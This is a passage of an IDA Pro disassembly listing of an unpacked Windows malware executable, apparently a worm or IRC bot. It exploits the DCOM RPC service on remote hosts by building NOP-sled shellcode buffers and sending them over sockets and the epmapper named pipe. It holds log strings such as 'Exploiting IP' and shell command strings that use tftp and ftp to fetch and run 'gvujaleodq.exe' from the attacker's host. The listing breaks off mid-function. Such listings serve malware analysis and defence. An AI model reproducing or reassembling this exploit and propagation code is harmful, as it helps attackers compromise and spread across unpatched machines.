;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	95F3D3586F41AD607D93AA1D95F08CFB

; File Name   :	u:\work\95f3d3586f41ad607d93aa1d95f08cfb_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00019FCC ( 106444.)
; Section size in file		: 00019FCC ( 106444.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default
; OS type	  :  MS	Windows
; Application type:  Executable	32bit


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_4013EE+28p

Dest		= word ptr -354h
var_34E		= byte ptr -34Eh
Source		= word ptr -124h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aIpc ; "\\IPC$"
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_41D54C ; "\\\\"
		lea	edi, [ebp+Dest]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_428D64
		push	45h
		mov	byte ptr [ebp+Source], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+Source+1]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+Source]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	ds:dword_41B044	; MultiByteToWideChar
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_wcscat
		lea	eax, [ebp+var_C]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_wcscat
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+Dest]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_428D60
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_42EC50
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_4010C4
		cmp	eax, ebx
		jnz	short loc_4010CE


loc_4010C4:				; CODE XREF: sub_401000+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_42EC50


loc_4010CE:				; CODE XREF: sub_401000+C2j
		cmp	eax, 5
		jz	short loc_4010DC
		cmp	eax, ebx
		jz	short loc_4010DC
		push	1
		pop	eax
		jmp	short loc_4010DE
; ---------------------------------------------------------------------------


loc_4010DC:				; CODE XREF: sub_401000+D1j
					; sub_401000+D5j
		xor	eax, eax


loc_4010DE:				; CODE XREF: sub_401000+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010E3	proc near		; CODE XREF: sub_4013EE+7Ap
					; sub_4013EE+15Ap

Dest		= word ptr -354h
var_34E		= byte ptr -34Eh
Source		= word ptr -124h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset aIpc ; "\\IPC$"
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_41D54C ; "\\\\"
		lea	edi, [ebp+Dest]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_428D64
		pop	ecx
		mov	byte ptr [ebp+Source], al
		xor	eax, eax
		lea	edi, [ebp+Source+1]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+Source]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	ds:dword_41B044	; MultiByteToWideChar
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_wcscat
		lea	eax, [ebp+var_C]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_wcscat
		add	esp, 10h


loc_401174:				; CODE XREF: sub_4010E3+AFj
		push	esi
		lea	eax, [ebp+Dest]
		push	esi
		push	eax
		call	dword_42EB04
		test	eax, eax
		jz	short loc_401194
		push	7D0h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_401174
; ---------------------------------------------------------------------------


loc_401194:				; CODE XREF: sub_4010E3+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_4010E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40119B	proc near		; CODE XREF: sub_4013EE+A9p
					; sub_4013EE+1E7p

Src		= byte ptr -3004h
Dst		= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	__alloca_probe
		push	esi
		push	edi
		push	offset aGvujaleodq_exe ; "gvujaleodq.exe"
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_408401
		pop	ecx
		push	eax		; Str
		lea	eax, [ebp+Src]
		push	1000h		; int
		push	eax		; Dst
		call	sub_410266
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_4013EA
		push	ebx
		mov	ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	30h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Src
		push	eax		; Dst
		call	_memcpy
		push	esi		; Size
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h	; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Src]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_1F2D]
		push	eax		; Dst
		call	_memcpy
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_401220:				; CODE XREF: sub_40119B+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_401270
		mov	esi, [ebp+var_4]
		push	30h		; Size
		lea	eax, [ebp+Dst]
		inc	esi
		push	ebx		; Src
		push	eax		; Dst
		mov	[ebp+var_4], esi
		call	_memcpy
		push	esi		; Size
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h	; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Src]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+esi+var_1FD4]
		push	eax		; Dst
		call	_memcpy
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_401220
; ---------------------------------------------------------------------------


loc_401270:				; CODE XREF: sub_40119B+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_40128B
		cmp	[ebp+arg_C0], 3
		jz	short loc_401294
		cmp	[ebp+arg_C0], 0
		jmp	short loc_401292
; ---------------------------------------------------------------------------


loc_40128B:				; CODE XREF: sub_40119B+DCj
		cmp	[ebp+arg_C0], 3


loc_401292:				; CODE XREF: sub_40119B+EEj
		jnz	short loc_40129D


loc_401294:				; CODE XREF: sub_40119B+E5j
		push	4
		push	offset dword_41D548
		jmp	short loc_4012A4
; ---------------------------------------------------------------------------


loc_40129D:				; CODE XREF: sub_40119B:loc_401292j
		push	4		; Size
		push	offset dword_41D544 ; Src


loc_4012A4:				; CODE XREF: sub_40119B+100j
		lea	eax, [ebp+var_1FE0]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h		; Size
		push	offset dword_41D07C ; Src
		push	eax		; Dst
		call	_memcpy
		push	10h		; Size
		lea	eax, [ebp+var_CA4]
		push	offset dword_41D3E0 ; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Dst]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_C94]
		push	eax		; Dst
		call	_memcpy
		lea	edi, [esi+370h]
		push	3Ch		; Size
		push	offset off_41D3F4 ; Src
		lea	eax, [ebp+edi+var_1004]
		push	eax		; Dst
		call	_memcpy
		add	edi, 3Ch
		push	30h		; Size
		push	offset dword_41D434 ; Src
		lea	eax, [ebp+edi+var_1004]
		push	eax		; Dst
		call	_memcpy
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi		; Size
		mov	[ebp+var_E78], eax
		call	_malloc
		add	esp, 40h
		mov	ebx, eax
		push	esi		; Size
		push	0		; Val
		push	ebx		; Dst
		call	_memset
		lea	eax, [ebp+var_1004]
		push	edi		; Size
		push	eax		; Src
		push	ebx		; Dst
		call	_memcpy
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_4013EA:				; CODE XREF: sub_40119B+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40119B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4013EE(int,char,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_4013EE	proc near		; CODE XREF: .text:00401753p
					; sub_4027F8+1E6p
					; DATA XREF: ...

var_1338	= byte ptr -1338h
Dest		= byte ptr -338h
var_234		= dword	ptr -234h
var_34		= byte ptr -34h
Dst		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Memory		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
Str		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	__alloca_probe
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40155C
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_401000
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40166C
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset Format	; "\\\\%s\\pipe\\epmapper"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+Dest]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	ds:dword_41B05C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401473


loc_401464:				; CODE XREF: sub_4013EE+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4010E3
		pop	ecx
		jmp	loc_40166C
; ---------------------------------------------------------------------------


loc_401473:				; CODE XREF: sub_4013EE+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_403EEB
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp


loc_401495:				; DATA XREF: .data:off_41E474o
					; .data:0041EDB4o
		rep movsd
		call	sub_40119B
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+Memory], eax
		jz	short loc_40150B
		mov	edi, 186A0h
		push	edi		; Size
		call	_malloc
		mov	esi, eax
		push	edi		; Size
		push	ebx		; Val
		push	esi		; Dst
		call	_memset
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_41D030
		push	[ebp+var_4]
		call	ds:dword_41B058	; TransactNamedPipe
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_4014FB
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+Memory]
		push	[ebp+var_4]
		call	ds:dword_41B054	; WriteFile
		test	eax, eax
		jnz	short loc_401519


loc_4014FB:				; CODE XREF: sub_4013EE+F3j
		push	esi		; Memory
		call	_free
		push	[ebp+Memory]	; Memory
		call	_free
		pop	ecx
		pop	ecx


loc_40150B:				; CODE XREF: sub_4013EE+B9j
		push	[ebp+var_4]
		call	ds:dword_41B050	; CloseHandle
		jmp	loc_401464
; ---------------------------------------------------------------------------


loc_401519:				; CODE XREF: sub_4013EE+10Bj
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		call	ds:dword_41B04C	; ReadFile
		push	[ebp+Memory]	; Memory
		mov	edi, eax
		call	_free
		push	esi		; Memory
		call	_free
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_41B050	; CloseHandle
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4010E3
		cmp	edi, 1
		pop	ecx
		jnz	loc_401680
		jmp	loc_40166C
; ---------------------------------------------------------------------------


loc_40155C:				; CODE XREF: sub_4013EE+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_403EEB
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40166C
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_42EC30	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_40166C
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_A0]
		call	dword_42EBB4	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_42EBF0	; inet_addr
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40119B
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+Memory], esi
		jnz	short loc_4015EE
		push	[ebp+var_4]
		jmp	short loc_401666
; ---------------------------------------------------------------------------


loc_4015EE:				; CODE XREF: sub_4013EE+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	dword_42EB60	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401606


loc_401603:				; CODE XREF: sub_4013EE+22Aj
		push	esi
		jmp	short loc_40165F
; ---------------------------------------------------------------------------


loc_401606:				; CODE XREF: sub_4013EE+213j
		push	ebx
		push	48h
		push	offset dword_41D030
		push	edi
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401603
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_42EBCC	; recv
		push	ebx
		push	[ebp+var_C]
		push	[ebp+Memory]
		push	edi
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401647
		push	[ebp+Memory]
		jmp	short loc_40165F
; ---------------------------------------------------------------------------


loc_401647:				; CODE XREF: sub_4013EE+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_42EBCC	; recv
		push	[ebp+Memory]	; Memory
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401673


loc_40165F:				; CODE XREF: sub_4013EE+216j
					; sub_4013EE+257j
		call	_free
		pop	ecx
		push	edi


loc_401666:				; CODE XREF: sub_4013EE+1FEj
		call	dword_42EC48	; closesocket


loc_40166C:				; CODE XREF: sub_4013EE+31j
					; sub_4013EE+80j ...
		xor	eax, eax
		jmp	loc_40172F
; ---------------------------------------------------------------------------


loc_401673:				; CODE XREF: sub_4013EE+26Fj
		call	_free
		pop	ecx
		push	edi
		call	dword_42EC48	; closesocket


loc_401680:				; CODE XREF: sub_4013EE+163j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_234]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		xor	esi, esi


loc_40169A:				; CODE XREF: sub_4013EE+2CCj
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_402E43
		test	eax, eax
		pop	ecx
		jnz	short loc_4016BE
		push	1388h
		call	ds:dword_41B048	; Sleep
		inc	esi
		cmp	esi, 6
		jl	short loc_40169A
		jmp	short loc_40172C
; ---------------------------------------------------------------------------


loc_4016BE:				; CODE XREF: sub_4013EE+2BBj
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		lea	eax, [ebp+var_234]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+arg_B4], ebx
		jnz	short loc_40170A
		push	ebx		; int
		lea	eax, [ebp+var_234]
		push	[ebp+arg_B0]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 14h


loc_40170A:				; CODE XREF: sub_4013EE+2FDj
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_402D63
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_41F098[eax]
		lea	eax, dword_41F098[eax]


loc_40172C:				; CODE XREF: sub_4013EE+2CEj
		push	1
		pop	eax


loc_40172F:				; CODE XREF: sub_4013EE+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4013EE	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		mov	dword ptr [esp+16Ch], 87h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4013EE
		push	2Fh
		lea	esi, [esp+0D0h]
		pop	ecx
		mov	dword ptr [esp+16Ch], 1BDh
		mov	edi, esp
		mov	ebx, eax
		rep movsd
		call	sub_401FD7
		add	esp, 0BCh
		test	ebx, ebx
		jnz	short loc_401786
		test	eax, eax
		jz	short loc_401789


loc_401786:				; CODE XREF: .text:00401780j
		push	1
		pop	eax


loc_401789:				; CODE XREF: .text:00401784j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 5214h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_403EEB
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401978
		cmp	eax, 1
		jz	loc_401978
		push	0
		push	1
		push	2
		call	dword_42EC30	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_401978
		push	10h
		lea	eax, [ebp-14h]
		push	0
		push	eax
		call	_memset
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_42EBB4	; htons
		mov	[ebp-12h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_42EBF0	; inet_addr
		push	offset aGvujaleodq_exe ; "gvujaleodq.exe"
		mov	[ebp-10h], eax
		push	dword ptr [ebp+8]
		call	sub_408401
		pop	ecx
		mov	esi, 1000h
		push	eax
		lea	eax, [ebp-5214h]
		push	esi
		push	eax
		call	sub_410266
		add	esp, 10h
		mov	[ebp-4], eax
		test	eax, eax
		jz	loc_401978
		push	122h
		push	offset aS	; "è"
		lea	eax, [ebp-4214h]
		push	esi
		push	eax
		call	sub_4102EE
		mov	ebx, eax
		push	25Ch
		lea	eax, [ebp-2214h]
		push	offset a127_0_0_1Ipc ; "127.0.0.1\\IPC$\\"
		push	eax
		call	_memcpy
		lea	eax, [ebp-4214h]
		push	ebx
		push	eax
		lea	eax, [ebp-21F0h]
		push	eax
		call	_memcpy
		push	dword ptr [ebp-4]
		lea	eax, [ebp-5214h]
		push	eax
		lea	eax, [ebp-21F0h]
		push	eax
		call	_memcpy
		push	4
		lea	eax, [ebp-1FE0h]
		push	offset dword_41DD7C
		push	eax
		call	_memcpy
		add	esp, 40h
		lea	eax, [ebp-1FDCh]
		push	4
		push	offset dword_41DD78
		push	eax
		call	_memcpy
		mov	eax, 12Eh
		add	esp, 0Ch
		add	[ebp-0EB4h], eax
		add	[ebp-0EACh], eax
		mov	eax, 250h
		push	10h
		add	[ebp-120Ch], eax
		add	[ebp-1204h], eax
		add	[ebp-1194h], eax
		add	[ebp-1190h], eax
		add	[ebp-1160h], eax
		add	[ebp-115Ch], eax
		add	[ebp-1144h], eax
		add	[ebp-1088h], eax
		lea	eax, [ebp-14h]
		push	eax
		push	edi
		call	dword_42EB60	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401914


loc_401911:				; CODE XREF: .text:00401928j
					; .text:00401941j ...
		push	edi
		jmp	short loc_401972
; ---------------------------------------------------------------------------


loc_401914:				; CODE XREF: .text:0040190Fj
		xor	ebx, ebx
		push	ebx
		push	48h
		push	offset dword_41D6E4
		push	edi
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401911
		push	ebx
		lea	eax, [ebp-3214h]
		push	esi
		push	eax
		push	edi
		call	dword_42EBCC	; recv
		cmp	byte ptr [ebp-3212h], 0Ch
		jnz	short loc_401911
		push	ebx
		lea	eax, [ebp-1214h]
		push	ebx
		push	eax
		push	edi
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401911
		push	ebx
		lea	eax, [ebp-3214h]
		push	esi
		push	eax
		push	edi
		call	dword_42EBCC	; recv
		cmp	byte ptr [ebp-3212h], 3
		push	edi
		jnz	short loc_40197F


loc_401972:				; CODE XREF: .text:00401912j
		call	dword_42EC48	; closesocket


loc_401978:				; CODE XREF: .text:004017ACj
					; .text:004017B5j ...
		xor	eax, eax


loc_40197A:				; CODE XREF: .text:00401A34j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40197F:				; CODE XREF: .text:00401970j
		call	dword_42EC48	; closesocket
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-214h]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	_sprintf
		add	esp, 0Ch
		xor	esi, esi


loc_40199F:				; CODE XREF: .text:004019BFj
		lea	eax, [ebp-214h]
		push	eax
		call	sub_402E43
		test	eax, eax
		pop	ecx
		jnz	short loc_4019C3
		push	1388h
		call	ds:dword_41B048	; Sleep
		inc	esi
		cmp	esi, 6
		jl	short loc_40199F
		jmp	short loc_401A31
; ---------------------------------------------------------------------------


loc_4019C3:				; CODE XREF: .text:004019AEj
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		lea	eax, [ebp-214h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_401A0F
		push	ebx
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_405E64
		add	esp, 14h


loc_401A0F:				; CODE XREF: .text:004019F0j
		lea	eax, [ebp-214h]
		push	eax
		call	sub_402D63
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_41F098[eax]
		lea	eax, dword_41F098[eax]


loc_401A31:				; CODE XREF: .text:004019C1j
		push	1
		pop	eax
		jmp	loc_40197A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A39	proc near		; CODE XREF: sub_401B98+42Ap

var_5A0		= byte ptr -5A0h
Dest		= byte ptr -1A0h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+Dst], 2
		push	eax
		call	dword_42EBF0	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word_41E670
		push	eax
		call	dword_42EBB4	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_42EC30	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_401B71
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	dword_42EB60	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_401B71
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_42EBCC	; recv
		mov	edi, offset aGvujaleodq_exe ; "gvujaleodq.exe"
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_408401
		pop	ecx
		mov	esi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+Dest]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		push	dword_42E668
		push	[ebp+arg_0]
		call	sub_408401
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+Dest]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	ebx
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401B71
		push	1F4h
		call	ds:dword_41B048	; Sleep
		push	edi
		push	offset aS_0	; "%s\r\n"
		lea	eax, [ebp+Dest]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	ebx
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401B75


loc_401B71:				; CODE XREF: sub_401A39+51j
					; sub_401A39+67j ...
		xor	al, al
		jmp	short loc_401B93
; ---------------------------------------------------------------------------


loc_401B75:				; CODE XREF: sub_401A39+136j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_42EBCC	; recv
		push	ebx
		call	dword_42EC48	; closesocket
		mov	al, 1


loc_401B93:				; CODE XREF: sub_401A39+13Aj
		pop	edi
		pop	esi
